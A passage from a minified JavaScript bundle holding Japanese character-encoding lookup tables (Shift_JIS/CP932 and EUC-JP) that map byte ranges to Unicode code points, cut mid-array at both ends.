u803B\u804A\u8046\u8052\u8058\u805A\u805F\u8062\u8068\u8073\u8072\u8070\u8076\u8079\u807D\u807F\u8084\u8086\u8085\u809B\u8093\u809A\u80AD\u5190\u80AC\u80DB\u80E5\u80D9\u80DD\u80C4\u80DA\u80D6\u8109\u80EF\u80F1\u811B\u8129\u8123\u812F\u814B"],["e440","\u968B\u8146\u813E\u8153\u8151\u80FC\u8171\u816E\u8165\u8166\u8174\u8183\u8188\u818A\u8180\u8182\u81A0\u8195\u81A4\u81A3\u815F\u8193\u81A9\u81B0\u81B5\u81BE\u81B8\u81BD\u81C0\u81C2\u81BA\u81C9\u81CD\u81D1\u81D9\u81D8\u81C8\u81DA\u81DF\u81E0\u81E7\u81FA\u81FB\u81FE\u8201\u8202\u8205\u8207\u820A\u820D\u8210\u8216\u8229\u822B\u8238\u8233\u8240\u8259\u8258\u825D\u825A\u825F\u8264"],["e480","\u8262\u8268\u826A\u826B\u822E\u8271\u8277\u8278\u827E\u828D\u8292\u82AB\u829F\u82BB\u82AC\u82E1\u82E3\u82DF\u82D2\u82F4\u82F3\u82FA\u8393\u8303\u82FB\u82F9\u82DE\u8306\u82DC\u8309\u82D9\u8335\u8334\u8316\u8332\u8331\u8340\u8339\u8350\u8345\u832F\u832B\u8317\u8318\u8385\u839A\u83AA\u839F\u83A2\u8396\u8323\u838E\u8387\u838A\u837C\u83B5\u8373\u8375\u83A0\u8389\u83A8\u83F4\u8413\u83EB\u83CE\u83FD\u8403\u83D8\u840B\u83C1\u83F7\u8407\u83E0\u83F2\u840D\u8422\u8420\u83BD\u8438\u8506\u83FB\u846D\u842A\u843C\u855A\u8484\u8477\u846B\u84AD\u846E\u8482\u8469\u8446\u842C\u846F\u8479\u8435\u84CA\u8462\u84B9\u84BF\u849F\u84D9\u84CD\u84BB\u84DA\u84D0\u84C1\u84C6\u84D6\u84A1\u8521\u84FF\u84F4\u8517\u8518\u852C\u851F\u8515\u8514\u84FC\u8540\u8563\u8558\u8548"],["e540","\u8541\u8602\u854B\u8555\u8580\u85A4\u8588\u8591\u858A\u85A8\u856D\u8594\u859B\u85EA\u8587\u859C\u8577\u857E\u8590\u85C9\u85BA\u85CF\u85B9\u85D0\u85D5\u85DD\u85E5\u85DC\u85F9\u860A\u8613\u860B\u85FE\u85FA\u8606\u8622\u861A\u8630\u863F\u864D\u4E55\u8654\u865F\u8667\u8671\u8693\u86A3\u86A9\u86AA\u868B\u868C\u86B6\u86AF\u86C4\u86C6\u86B0\u86C9\u8823\u86AB\u86D4\u86DE\u86E9\u86EC"],["e580","\u86DF\u86DB\u86EF\u8712\u8706\u8708\u8700\u8703\u86FB\u8711\u8709\u870D\u86F9\u870A\u8734\u873F\u8737\u873B\u8725\u8729\u871A\u8760\u875F\u8778\u874C\u874E\u8774\u8757\u8768\u876E\u8759\u8753\u8763\u876A\u8805\u87A2\u879F\u8782\u87AF\u87CB\u87BD\u87C0\u87D0\u96D6\u87AB\u87C4\u87B3\u87C7\u87C6\u87BB\u87EF\u87F2\u87E0\u880F\u880D\u87FE\u87F6\u87F7\u880E\u87D2\u8811\u8816\u8815\u8822\u8821\u8831\u8836\u8839\u8827\u883B\u8844\u8842\u8852\u8859\u885E\u8862\u886B\u8881\u887E\u889E\u8875\u887D\u88B5\u8872\u8882\u8897\u8892\u88AE\u8899\u88A2\u888D\u88A4\u88B0\u88BF\u88B1\u88C3\u88C4\u88D4\u88D8\u88D9\u88DD\u88F9\u8902\u88FC\u88F4\u88E8\u88F2\u8904\u890C\u890A\u8913\u8943\u891E\u8925\u892A\u892B\u8941\u8944\u893B\u8936\u8938\u894C\u891D\u8960\u895E"],["e640","\u8966\u8964\u896D\u896A\u896F\u8974\u8977\u897E\u8983\u8988\u898A\u8993\u8998\u89A1\u89A9\u89A6\u89AC\u89AF\u89B2\u89BA\u89BD\u89BF\u89C0\u89DA\u89DC\u89DD\u89E7\u89F4\u89F8\u8A03\u8A16\u8A10\u8A0C\u8A1B\u8A1D\u8A25\u8A36\u8A41\u8A5B\u8A52\u8A46\u8A48\u8A7C\u8A6D\u8A6C\u8A62\u8A85\u8A82\u8A84\u8AA8\u8AA1\u8A91\u8AA5\u8AA6\u8A9A\u8AA3\u8AC4\u8ACD\u8AC2\u8ADA\u8AEB\u8AF3\u8AE7"],["e680","\u8AE4\u8AF1\u8B14\u8AE0\u8AE2\u8AF7\u8ADE\u8ADB\u8B0C\u8B07\u8B1A\u8AE1\u8B16\u8B10\u8B17\u8B20\u8B33\u97AB\u8B26\u8B2B\u8B3E\u8B28\u8B41\u8B4C\u8B4F\u8B4E\u8B49\u8B56\u8B5B\u8B5A\u8B6B\u8B5F\u8B6C\u8B6F\u8B74\u8B7D\u8B80\u8B8C\u8B8E\u8B92\u8B93\u8B96\u8B99\u8B9A\u8C3A\u8C41\u8C3F\u8C48\u8C4C\u8C4E\u8C50\u8C55\u8C62\u8C6C\u8C78\u8C7A\u8C82\u8C89\u8C85\u8C8A\u8C8D\u8C8E\u8C94\u8C7C\u8C98\u621D\u8CAD\u8CAA\u8CBD\u8CB2\u8CB3\u8CAE\u8CB6\u8CC8\u8CC1\u8CE4\u8CE3\u8CDA\u8CFD\u8CFA\u8CFB\u8D04\u8D05\u8D0A\u8D07\u8D0F\u8D0D\u8D10\u9F4E\u8D13\u8CCD\u8D14\u8D16\u8D67\u8D6D\u8D71\u8D73\u8D81\u8D99\u8DC2\u8DBE\u8DBA\u8DCF\u8DDA\u8DD6\u8DCC\u8DDB\u8DCB\u8DEA\u8DEB\u8DDF\u8DE3\u8DFC\u8E08\u8E09\u8DFF\u8E1D\u8E1E\u8E10\u8E1F\u8E42\u8E35\u8E30\u8E34\u8E4A"],["e740","\u8E47\u8E49\u8E4C\u8E50\u8E48\u8E59\u8E64\u8E60\u8E2A\u8E63\u8E55\u8E76\u8E72\u8E7C\u8E81\u8E87\u8E85\u8E84\u8E8B\u8E8A\u8E93\u8E91\u8E94\u8E99\u8EAA\u8EA1\u8EAC\u8EB0\u8EC6\u8EB1\u8EBE\u8EC5\u8EC8\u8ECB\u8EDB\u8EE3\u8EFC\u8EFB\u8EEB\u8EFE\u8F0A\u8F05\u8F15\u8F12\u8F19\u8F13\u8F1C\u8F1F\u8F1B\u8F0C\u8F26\u8F33\u8F3B\u8F39\u8F45\u8F42\u8F3E\u8F4C\u8F49\u8F46\u8F4E\u8F57\u8F5C"],["e780","\u8F62\u8F63\u8F64\u8F9C\u8F9F\u8FA3\u8FAD\u8FAF\u8FB7\u8FDA\u8FE5\u8FE2\u8FEA\u8FEF\u9087\u8FF4\u9005\u8FF9\u8FFA\u9011\u9015\u9021\u900D\u901E\u9016\u900B\u9027\u9036\u9035\u9039\u8FF8\u904F\u9050\u9051\u9052\u900E\u9049\u903E\u9056\u9058\u905E\u9068\u906F\u9076\u96A8\u9072\u9082\u907D\u9081\u9080\u908A\u9089\u908F\u90A8\u90AF\u90B1\u90B5\u90E2\u90E4\u6248\u90DB\u9102\u9112\u9119\u9132\u9130\u914A\u9156\u9158\u9163\u9165\u9169\u9173\u9172\u918B\u9189\u9182\u91A2\u91AB\u91AF\u91AA\u91B5\u91B4\u91BA\u91C0\u91C1\u91C9\u91CB\u91D0\u91D6\u91DF\u91E1\u91DB\u91FC\u91F5\u91F6\u921E\u91FF\u9214\u922C\u9215\u9211\u925E\u9257\u9245\u9249\u9264\u9248\u9295\u923F\u924B\u9250\u929C\u9296\u9293\u929B\u925A\u92CF\u92B9\u92B7\u92E9\u930F\u92FA\u9344\u932E"],["e840","\u9319\u9322\u931A\u9323\u933A\u9335\u933B\u935C\u9360\u937C\u936E\u9356\u93B0\u93AC\u93AD\u9394\u93B9\u93D6\u93D7\u93E8\u93E5\u93D8\u93C3\u93DD\u93D0\u93C8\u93E4\u941A\u9414\u9413\u9403\u9407\u9410\u9436\u942B\u9435\u9421\u943A\u9441\u9452\u9444\u945B\u9460\u9462\u945E\u946A\u9229\u9470\u9475\u9477\u947D\u945A\u947C\u947E\u9481\u947F\u9582\u9587\u958A\u9594\u9596\u9598\u9599"],["e880","\u95A0\u95A8\u95A7\u95AD\u95BC\u95BB\u95B9\u95BE\u95CA\u6FF6\u95C3\u95CD\u95CC\u95D5\u95D4\u95D6\u95DC\u95E1\u95E5\u95E2\u9621\u9628\u962E\u962F\u9642\u964C\u964F\u964B\u9677\u965C\u965E\u965D\u965F\u9666\u9672\u966C\u968D\u9698\u9695\u9697\u96AA\u96A7\u96B1\u96B2\u96B0\u96B4\u96B6\u96B8\u96B9\u96CE\u96CB\u96C9\u96CD\u894D\u96DC\u970D\u96D5\u96F9\u9704\u9706\u9708\u9713\u970E\u9711\u970F\u9716\u9719\u9724\u972A\u9730\u9739\u973D\u973E\u9744\u9746\u9748\u9742\u9749\u975C\u9760\u9764\u9766\u9768\u52D2\u976B\u9771\u9779\u9785\u977C\u9781\u977A\u9786\u978B\u978F\u9790\u979C\u97A8\u97A6\u97A3\u97B3\u97B4\u97C3\u97C6\u97C8\u97CB\u97DC\u97ED\u9F4F\u97F2\u7ADF\u97F6\u97F5\u980F\u980C\u9838\u9824\u9821\u9837\u983D\u9846\u984F\u984B\u986B\u986F\u9870"],["e940","\u9871\u9874\u9873\u98AA\u98AF\u98B1\u98B6\u98C4\u98C3\u98C6\u98E9\u98EB\u9903\u9909\u9912\u9914\u9918\u9921\u991D\u991E\u9924\u9920\u992C\u992E\u993D\u993E\u9942\u9949\u9945\u9950\u994B\u9951\u9952\u994C\u9955\u9997\u9998\u99A5\u99AD\u99AE\u99BC\u99DF\u99DB\u99DD\u99D8\u99D1\u99ED\u99EE\u99F1\u99F2\u99FB\u99F8\u9A01\u9A0F\u9A05\u99E2\u9A19\u9A2B\u9A37\u9A45\u9A42\u9A40\u9A43"],["e980","\u9A3E\u9A55\u9A4D\u9A5B\u9A57\u9A5F\u9A62\u9A65\u9A64\u9A69\u9A6B\u9A6A\u9AAD\u9AB0\u9ABC\u9AC0\u9ACF\u9AD1\u9AD3\u9AD4\u9ADE\u9ADF\u9AE2\u9AE3\u9AE6\u9AEF\u9AEB\u9AEE\u9AF4\u9AF1\u9AF7\u9AFB\u9B06\u9B18\u9B1A\u9B1F\u9B22\u9B23\u9B25\u9B27\u9B28\u9B29\u9B2A\u9B2E\u9B2F\u9B32\u9B44\u9B43\u9B4F\u9B4D\u9B4E\u9B51\u9B58\u9B74\u9B93\u9B83\u9B91\u9B96\u9B97\u9B9F\u9BA0\u9BA8\u9BB4\u9BC0\u9BCA\u9BB9\u9BC6\u9BCF\u9BD1\u9BD2\u9BE3\u9BE2\u9BE4\u9BD4\u9BE1\u9C3A\u9BF2\u9BF1\u9BF0\u9C15\u9C14\u9C09\u9C13\u9C0C\u9C06\u9C08\u9C12\u9C0A\u9C04\u9C2E\u9C1B\u9C25\u9C24\u9C21\u9C30\u9C47\u9C32\u9C46\u9C3E\u9C5A\u9C60\u9C67\u9C76\u9C78\u9CE7\u9CEC\u9CF0\u9D09\u9D08\u9CEB\u9D03\u9D06\u9D2A\u9D26\u9DAF\u9D23\u9D1F\u9D44\u9D15\u9D12\u9D41\u9D3F\u9D3E\u9D46\u9D48"],["ea40","\u9D5D\u9D5E\u9D64\u9D51\u9D50\u9D59\u9D72\u9D89\u9D87\u9DAB\u9D6F\u9D7A\u9D9A\u9DA4\u9DA9\u9DB2\u9DC4\u9DC1\u9DBB\u9DB8\u9DBA\u9DC6\u9DCF\u9DC2\u9DD9\u9DD3\u9DF8\u9DE6\u9DED\u9DEF\u9DFD\u9E1A\u9E1B\u9E1E\u9E75\u9E79\u9E7D\u9E81\u9E88\u9E8B\u9E8C\u9E92\u9E95\u9E91\u9E9D\u9EA5\u9EA9\u9EB8\u9EAA\u9EAD\u9761\u9ECC\u9ECE\u9ECF\u9ED0\u9ED4\u9EDC\u9EDE\u9EDD\u9EE0\u9EE5\u9EE8\u9EEF"],["ea80","\u9EF4\u9EF6\u9EF7\u9EF9\u9EFB\u9EFC\u9EFD\u9F07\u9F08\u76B7\u9F15\u9F21\u9F2C\u9F3E\u9F4A\u9F52\u9F54\u9F63\u9F5F\u9F60\u9F61\u9F66\u9F67\u9F6C\u9F6A\u9F77\u9F72\u9F76\u9F95\u9F9C\u9FA0\u582F\u69C7\u9059\u7464\u51DC\u7199"],["ed40","\u7E8A\u891C\u9348\u9288\u84DC\u4FC9\u70BB\u6631\u68C8\u92F9\u66FB\u5F45\u4E28\u4EE1\u4EFC\u4F00\u4F03\u4F39\u4F56\u4F92\u4F8A\u4F9A\u4F94\u4FCD\u5040\u5022\u4FFF\u501E\u5046\u5070\u5042\u5094\u50F4\u50D8\u514A\u5164\u519D\u51BE\u51EC\u5215\u529C\u52A6\u52C0\u52DB\u5300\u5307\u5324\u5372\u5393\u53B2\u53DD\uFA0E\u549C\u548A\u54A9\u54FF\u5586\u5759\u5765\u57AC\u57C8\u57C7\uFA0F"],["ed80","\uFA10\u589E\u58B2\u590B\u5953\u595B\u595D\u5963\u59A4\u59BA\u5B56\u5BC0\u752F\u5BD8\u5BEC\u5C1E\u5CA6\u5CBA\u5CF5\u5D27\u5D53\uFA11\u5D42\u5D6D\u5DB8\u5DB9\u5DD0\u5F21\u5F34\u5F67\u5FB7\u5FDE\u605D\u6085\u608A\u60DE\u60D5\u6120\u60F2\u6111\u6137\u6130\u6198\u6213\u62A6\u63F5\u6460\u649D\u64CE\u654E\u6600\u6615\u663B\u6609\u662E\u661E\u6624\u6665\u6657\u6659\uFA12\u6673\u6699\u66A0\u66B2\u66BF\u66FA\u670E\uF929\u6766\u67BB\u6852\u67C0\u6801\u6844\u68CF\uFA13\u6968\uFA14\u6998\u69E2\u6A30\u6A6B\u6A46\u6A73\u6A7E\u6AE2\u6AE4\u6BD6\u6C3F\u6C5C\u6C86\u6C6F\u6CDA\u6D04\u6D87\u6D6F\u6D96\u6DAC\u6DCF\u6DF8\u6DF2\u6DFC\u6E39\u6E5C\u6E27\u6E3C\u6EBF\u6F88\u6FB5\u6FF5\u7005\u7007\u7028\u7085\u70AB\u710F\u7104\u715C\u7146\u7147\uFA15\u71C1\u71FE\u72B1"],["ee40","\u72BE\u7324\uFA16\u7377\u73BD\u73C9\u73D6\u73E3\u73D2\u7407\u73F5\u7426\u742A\u7429\u742E\u7462\u7489\u749F\u7501\u756F\u7682\u769C\u769E\u769B\u76A6\uFA17\u7746\u52AF\u7821\u784E\u7864\u787A\u7930\uFA18\uFA19\uFA1A\u7994\uFA1B\u799B\u7AD1\u7AE7\uFA1C\u7AEB\u7B9E\uFA1D\u7D48\u7D5C\u7DB7\u7DA0\u7DD6\u7E52\u7F47\u7FA1\uFA1E\u8301\u8362\u837F\u83C7\u83F6\u8448\u84B4\u8553\u8559"],["ee80","\u856B\uFA1F\u85B0\uFA20\uFA21\u8807\u88F5\u8A12\u8A37\u8A79\u8AA7\u8ABE\u8ADF\uFA22\u8AF6\u8B53\u8B7F\u8CF0\u8CF4\u8D12\u8D76\uFA23\u8ECF\uFA24\uFA25\u9067\u90DE\uFA26\u9115\u9127\u91DA\u91D7\u91DE\u91ED\u91EE\u91E4\u91E5\u9206\u9210\u920A\u923A\u9240\u923C\u924E\u9259\u9251\u9239\u9267\u92A7\u9277\u9278\u92E7\u92D7\u92D9\u92D0\uFA27\u92D5\u92E0\u92D3\u9325\u9321\u92FB\uFA28\u931E\u92FF\u931D\u9302\u9370\u9357\u93A4\u93C6\u93DE\u93F8\u9431\u9445\u9448\u9592\uF9DC\uFA29\u969D\u96AF\u9733\u973B\u9743\u974D\u974F\u9751\u9755\u9857\u9865\uFA2A\uFA2B\u9927\uFA2C\u999E\u9A4E\u9AD9\u9ADC\u9B75\u9B72\u9B8F\u9BB1\u9BBB\u9C00\u9D70\u9D6B\uFA2D\u9E19\u9ED1"],["eeef","\u2170",9,"\uFFE2\uFFE4\uFF07\uFF02"],["f040","\uE000",62],["f080","\uE03F",124],["f140","\uE0BC",62],["f180","\uE0FB",124],["f240","\uE178",62],["f280","\uE1B7",124],["f340","\uE234",62],["f380","\uE273",124],["f440","\uE2F0",62],["f480","\uE32F",124],["f540","\uE3AC",62],["f580","\uE3EB",124],["f640","\uE468",62],["f680","\uE4A7",124],["f740","\uE524",62],["f780","\uE563",124],["f840","\uE5E0",62],["f880","\uE61F",124],["f940","\uE69C"],["fa40","\u2170",9,"\u2160",9,"\uFFE2\uFFE4\uFF07\uFF02\u3231\u2116\u2121\u2235\u7E8A\u891C\u9348\u9288\u84DC\u4FC9\u70BB\u6631\u68C8\u92F9\u66FB\u5F45\u4E28\u4EE1\u4EFC\u4F00\u4F03\u4F39\u4F56\u4F92\u4F8A\u4F9A\u4F94\u4FCD\u5040\u5022\u4FFF\u501E\u5046\u5070\u5042\u5094\u50F4\u50D8\u514A"],["fa80","\u5164\u519D\u51BE\u51EC\u5215\u529C\u52A6\u52C0\u52DB\u5300\u5307\u5324\u5372\u5393\u53B2\u53DD\uFA0E\u549C\u548A\u54A9\u54FF\u5586\u5759\u5765\u57AC\u57C8\u57C7\uFA0F\uFA10\u589E\u58B2\u590B\u5953\u595B\u595D\u5963\u59A4\u59BA\u5B56\u5BC0\u752F\u5BD8\u5BEC\u5C1E\u5CA6\u5CBA\u5CF5\u5D27\u5D53\uFA11\u5D42\u5D6D\u5DB8\u5DB9\u5DD0\u5F21\u5F34\u5F67\u5FB7\u5FDE\u605D\u6085\u608A\u60DE\u60D5\u6120\u60F2\u6111\u6137\u6130\u6198\u6213\u62A6\u63F5\u6460\u649D\u64CE\u654E\u6600\u6615\u663B\u6609\u662E\u661E\u6624\u6665\u6657\u6659\uFA12\u6673\u6699\u66A0\u66B2\u66BF\u66FA\u670E\uF929\u6766\u67BB\u6852\u67C0\u6801\u6844\u68CF\uFA13\u6968\uFA14\u6998\u69E2\u6A30\u6A6B\u6A46\u6A73\u6A7E\u6AE2\u6AE4\u6BD6\u6C3F\u6C5C\u6C86\u6C6F\u6CDA\u6D04\u6D87\u6D6F"],["fb40","\u6D96\u6DAC\u6DCF\u6DF8\u6DF2\u6DFC\u6E39\u6E5C\u6E27\u6E3C\u6EBF\u6F88\u6FB5\u6FF5\u7005\u7007\u7028\u7085\u70AB\u710F\u7104\u715C\u7146\u7147\uFA15\u71C1\u71FE\u72B1\u72BE\u7324\uFA16\u7377\u73BD\u73C9\u73D6\u73E3\u73D2\u7407\u73F5\u7426\u742A\u7429\u742E\u7462\u7489\u749F\u7501\u756F\u7682\u769C\u769E\u769B\u76A6\uFA17\u7746\u52AF\u7821\u784E\u7864\u787A\u7930\uFA18\uFA19"],["fb80","\uFA1A\u7994\uFA1B\u799B\u7AD1\u7AE7\uFA1C\u7AEB\u7B9E\uFA1D\u7D48\u7D5C\u7DB7\u7DA0\u7DD6\u7E52\u7F47\u7FA1\uFA1E\u8301\u8362\u837F\u83C7\u83F6\u8448\u84B4\u8553\u8559\u856B\uFA1F\u85B0\uFA20\uFA21\u8807\u88F5\u8A12\u8A37\u8A79\u8AA7\u8ABE\u8ADF\uFA22\u8AF6\u8B53\u8B7F\u8CF0\u8CF4\u8D12\u8D76\uFA23\u8ECF\uFA24\uFA25\u9067\u90DE\uFA26\u9115\u9127\u91DA\u91D7\u91DE\u91ED\u91EE\u91E4\u91E5\u9206\u9210\u920A\u923A\u9240\u923C\u924E\u9259\u9251\u9239\u9267\u92A7\u9277\u9278\u92E7\u92D7\u92D9\u92D0\uFA27\u92D5\u92E0\u92D3\u9325\u9321\u92FB\uFA28\u931E\u92FF\u931D\u9302\u9370\u9357\u93A4\u93C6\u93DE\u93F8\u9431\u9445\u9448\u9592\uF9DC\uFA29\u969D\u96AF\u9733\u973B\u9743\u974D\u974F\u9751\u9755\u9857\u9865\uFA2A\uFA2B\u9927\uFA2C\u999E\u9A4E\u9AD9"],["fc40","\u9ADC\u9B75\u9B72\u9B8F\u9BB1\u9BBB\u9C00\u9D70\u9D6B\uFA2D\u9E19\u9ED1"]]});var lv=V((yV,lP)=>{lP.exports=[["0","\0",127],["8ea1","\uFF61",62],["a1a1","\u3000\u3001\u3002\uFF0C\uFF0E\u30FB\uFF1A\uFF1B\uFF1F\uFF01\u309B\u309C\xB4\uFF40\xA8\uFF3E\uFFE3\uFF3F\u30FD\u30FE\u309D\u309E\u3003\u4EDD\u3005\u3006\u3007\u30FC\u2015\u2010\uFF0F\uFF3C\uFF5E\u2225\uFF5C\u2026\u2025\u2018\u2019\u201C\u201D\uFF08\uFF09\u3014\u3015\uFF3B\uFF3D\uFF5B\uFF5D\u3008",9,"\uFF0B\uFF0D\xB1\xD7\xF7\uFF1D\u2260\uFF1C\uFF1E\u2266\u2267\u221E\u2234\u2642\u2640\xB0\u2032\u2033\u2103\uFFE5\uFF04\uFFE0\uFFE1\uFF05\uFF03\uFF06\uFF0A\uFF20\xA7\u2606\u2605\u25CB\u25CF\u25CE\u25C7"],["a2a1","\u25C6\u25A1\u25A0\u25B3\u25B2\u25BD\u25BC\u203B\u3012\u2192\u2190\u2191\u2193\u3013"],["a2ba","\u2208\u220B\u2286\u2287\u2282\u2283\u222A\u2229"],["a2ca","\u2227\u2228\uFFE2\u21D2\u21D4\u2200\u2203"],["a2dc","\u2220\u22A5\u2312\u2202\u2207\u2261\u2252\u226A\u226B\u221A\u223D\u221D\u2235\u222B\u222C"],["a2f2","\u212B\u2030\u266F\u266D\u266A\u2020\u2021\xB6"],["a2fe","\u25EF"],["a3b0","\uFF10",9],["a3c1","\uFF21",25],["a3e1","\uFF41",25],["a4a1","\u3041",82],["a5a1","\u30A1",85],["a6a1","\u0391",16,"\u03A3",6],["a6c1","\u03B1",16,"\u03C3",6],["a7a1","\u0410",5,"\u0401\u0416",25],["a7d1","\u0430",5,"\u0451\u0436",25],["a8a1","\u2500\u2502\u250C\u2510\u2518\u2514\u251C\u252C\u2524\u2534\u253C\u2501\u2503\u250F\u2513\u251B\u2517\u2523\u2533\u252B\u253B\u254B\u2520\u252F\u2528\u2537\u253F\u251D\u2530\u2525\u2538\u2542"],["ada1","\u2460",19,"\u2160",9],["adc0","\u3349\u3314\u3322\u334D\u3318\u3327\u3303\u3336\u3351\u3357\u330D\u3326\u3323\u332B\u334A\u333B\u339C\u339D\u339E\u338E\u338F\u33C4\u33A1"],["addf","\u337B\u301D\u301F\u2116\u33CD\u2121\u32A4",4,"\u3231\u3232\u3239\u337E\u337D\u337C\u2252\u2261\u222B\u222E\u2211\u221A\u22A5\u2220\u221F\u22BF\u2235\u2229\u222A"],["b0a1","\u4E9C\u5516\u5A03\u963F\u54C0\u611B\u6328\u59F6\u9022\u8475\u831C\u7A50\u60AA\u63E1\u6E25\u65ED\u8466\u82A6\u9BF5\u6893\u5727\u65A1\u6271\u5B9B\u59D0\u867B\u98F4\u7D62\u7DBE\u9B8E\u6216\u7C9F\u88B7\u5B89\u5EB5\u6309\u6697\u6848\u95C7\u978D\u674F\u4EE5\u4F0A\u4F4D\u4F9D\u5049\u56F2\u5937\u59D4\u5A01\u5C09\u60DF\u610F\u6170\u6613\u6905\u70BA\u754F\u7570\u79FB\u7DAD\u7DEF\u80C3\u840E\u8863\u8B02\u9055\u907A\u533B\u4E95\u4EA5\u57DF\u80B2\u90C1\u78EF\u4E00\u58F1\u6EA2\u9038\u7A32\u8328\u828B\u9C2F\u5141\u5370\u54BD\u54E1\u56E0\u59FB\u5F15\u98F2\u6DEB\u80E4\u852D"],["b1a1","\u9662\u9670\u96A0\u97FB\u540B\u53F3\u5B87\u70CF\u7FBD\u8FC2\u96E8\u536F\u9D5C\u7ABA\u4E11\u7893\u81FC\u6E26\u5618\u5504\u6B1D\u851A\u9C3B\u59E5\u53A9\u6D66\u74DC\u958F\u5642\u4E91\u904B\u96F2\u834F\u990C\u53E1\u55B6\u5B30\u5F71\u6620\u66F3\u6804\u6C38\u6CF3\u6D29\u745B\u76C8\u7A4E\u9834\u82F1\u885B\u8A60\u92ED\u6DB2\u75AB\u76CA\u99C5\u60A6\u8B01\u8D8A\u95B2\u698E\u53AD\u5186\u5712\u5830\u5944\u5BB4\u5EF6\u6028\u63A9\u63F4\u6CBF\u6F14\u708E\u7114\u7159\u71D5\u733F\u7E01\u8276\u82D1\u8597\u9060\u925B\u9D1B\u5869\u65BC\u6C5A\u7525\u51F9\u592E\u5965\u5F80\u5FDC"],["b2a1","\u62BC\u65FA\u6A2A\u6B27\u6BB4\u738B\u7FC1\u8956\u9D2C\u9D0E\u9EC4\u5CA1\u6C96\u837B\u5104\u5C4B\u61B6\u81C6\u6876\u7261\u4E59\u4FFA\u5378\u6069\u6E29\u7A4F\u97F3\u4E0B\u5316\u4EEE\u4F55\u4F3D\u4FA1\u4F73\u52A0\u53EF\u5609\u590F\u5AC1\u5BB6\u5BE1\u79D1\u6687\u679C\u67B6\u6B4C\u6CB3\u706B\u73C2\u798D\u79BE\u7A3C\u7B87\u82B1\u82DB\u8304\u8377\u83EF\u83D3\u8766\u8AB2\u5629\u8CA8\u8FE6\u904E\u971E\u868A\u4FC4\u5CE8\u6211\u7259\u753B\u81E5\u82BD\u86FE\u8CC0\u96C5\u9913\u99D5\u4ECB\u4F1A\u89E3\u56DE\u584A\u58CA\u5EFB\u5FEB\u602A\u6094\u6062\u61D0\u6212\u62D0\u6539"],["b3a1","\u9B41\u6666\u68B0\u6D77\u7070\u754C\u7686\u7D75\u82A5\u87F9\u958B\u968E\u8C9D\u51F1\u52BE\u5916\u54B3\u5BB3\u5D16\u6168\u6982\u6DAF\u788D\u84CB\u8857\u8A72\u93A7\u9AB8\u6D6C\u99A8\u86D9\u57A3\u67FF\u86CE\u920E\u5283\u5687\u5404\u5ED3\u62E1\u64B9\u683C\u6838\u6BBB\u7372\u78BA\u7A6B\u899A\u89D2\u8D6B\u8F03\u90ED\u95A3\u9694\u9769\u5B66\u5CB3\u697D\u984D\u984E\u639B\u7B20\u6A2B\u6A7F\u68B6\u9C0D\u6F5F\u5272\u559D\u6070\u62EC\u6D3B\u6E07\u6ED1\u845B\u8910\u8F44\u4E14\u9C39\u53F6\u691B\u6A3A\u9784\u682A\u515C\u7AC3\u84B2\u91DC\u938C\u565B\u9D28\u6822\u8305\u8431"],["b4a1","\u7CA5\u5208\u82C5\u74E6\u4E7E\u4F83\u51A0\u5BD2\u520A\u52D8\u52E7\u5DFB\u559A\u582A\u59E6\u5B8C\u5B98\u5BDB\u5E72\u5E79\u60A3\u611F\u6163\u61BE\u63DB\u6562\u67D1\u6853\u68FA\u6B3E\u6B53\u6C57\u6F22\u6F97\u6F45\u74B0\u7518\u76E3\u770B\u7AFF\u7BA1\u7C21\u7DE9\u7F36\u7FF0\u809D\u8266\u839E\u89B3\u8ACC\u8CAB\u9084\u9451\u9593\u9591\u95A2\u9665\u97D3\u9928\u8218\u4E38\u542B\u5CB8\u5DCC\u73A9\u764C\u773C\u5CA9\u7FEB\u8D0B\u96C1\u9811\u9854\u9858\u4F01\u4F0E\u5371\u559C\u5668\u57FA\u5947\u5B09\u5BC4\u5C90\u5E0C\u5E7E\u5FCC\u63EE\u673A\u65D7\u65E2\u671F\u68CB\u68C4"],["b5a1","\u6A5F\u5E30\u6BC5\u6C17\u6C7D\u757F\u7948\u5B63\u7A00\u7D00\u5FBD\u898F\u8A18\u8CB4\u8D77\u8ECC\u8F1D\u98E2\u9A0E\u9B3C\u4E80\u507D\u5100\u5993\u5B9C\u622F\u6280\u64EC\u6B3A\u72A0\u7591\u7947\u7FA9\u87FB\u8ABC\u8B70\u63AC\u83CA\u97A0\u5409\u5403\u55AB\u6854\u6A58\u8A70\u7827\u6775\u9ECD\u5374\u5BA2\u811A\u8650\u9006\u4E18\u4E45\u4EC7\u4F11\u53CA\u5438\u5BAE\u5F13\u6025\u6551\u673D\u6C42\u6C72\u6CE3\u7078\u7403\u7A76\u7AAE\u7B08\u7D1A\u7CFE\u7D66\u65E7\u725B\u53BB\u5C45\u5DE8\u62D2\u62E0\u6319\u6E20\u865A\u8A31\u8DDD\u92F8\u6F01\u79A6\u9B5A\u4EA8\u4EAB\u4EAC"],["b6a1","\u4F9B\u4FA0\u50D1\u5147\u7AF6\u5171\u51F6\u5354\u5321\u537F\u53EB\u55AC\u5883\u5CE1\u5F37\u5F4A\u602F\u6050\u606D\u631F\u6559\u6A4B\u6CC1\u72C2\u72ED\u77EF\u80F8\u8105\u8208\u854E\u90F7\u93E1\u97FF\u9957\u9A5A\u4EF0\u51DD\u5C2D\u6681\u696D\u5C40\u66F2\u6975\u7389\u6850\u7C81\u50C5\u52E4\u5747\u5DFE\u9326\u65A4\u6B23\u6B3D\u7434\u7981\u79BD\u7B4B\u7DCA\u82B9\u83CC\u887F\u895F\u8B39\u8FD1\u91D1\u541F\u9280\u4E5D\u5036\u53E5\u533A\u72D7\u7396\u77E9\u82E6\u8EAF\u99C6\u99C8\u99D2\u5177\u611A\u865E\u55B0\u7A7A\u5076\u5BD3\u9047\u9685\u4E32\u6ADB\u91E7\u5C51\u5C48"],["b7a1","\u6398\u7A9F\u6C93\u9774\u8F61\u7AAA\u718A\u9688\u7C82\u6817\u7E70\u6851\u936C\u52F2\u541B\u85AB\u8A13\u7FA4\u8ECD\u90E1\u5366\u8888\u7941\u4FC2\u50BE\u5211\u5144\u5553\u572D\u73EA\u578B\u5951\u5F62\u5F84\u6075\u6176\u6167\u61A9\u63B2\u643A\u656C\u666F\u6842\u6E13\u7566\u7A3D\u7CFB\u7D4C\u7D99\u7E4B\u7F6B\u830E\u834A\u86CD\u8A08\u8A63\u8B66\u8EFD\u981A\u9D8F\u82B8\u8FCE\u9BE8\u5287\u621F\u6483\u6FC0\u9699\u6841\u5091\u6B20\u6C7A\u6F54\u7A74\u7D50\u8840\u8A23\u6708\u4EF6\u5039\u5026\u5065\u517C\u5238\u5263\u55A7\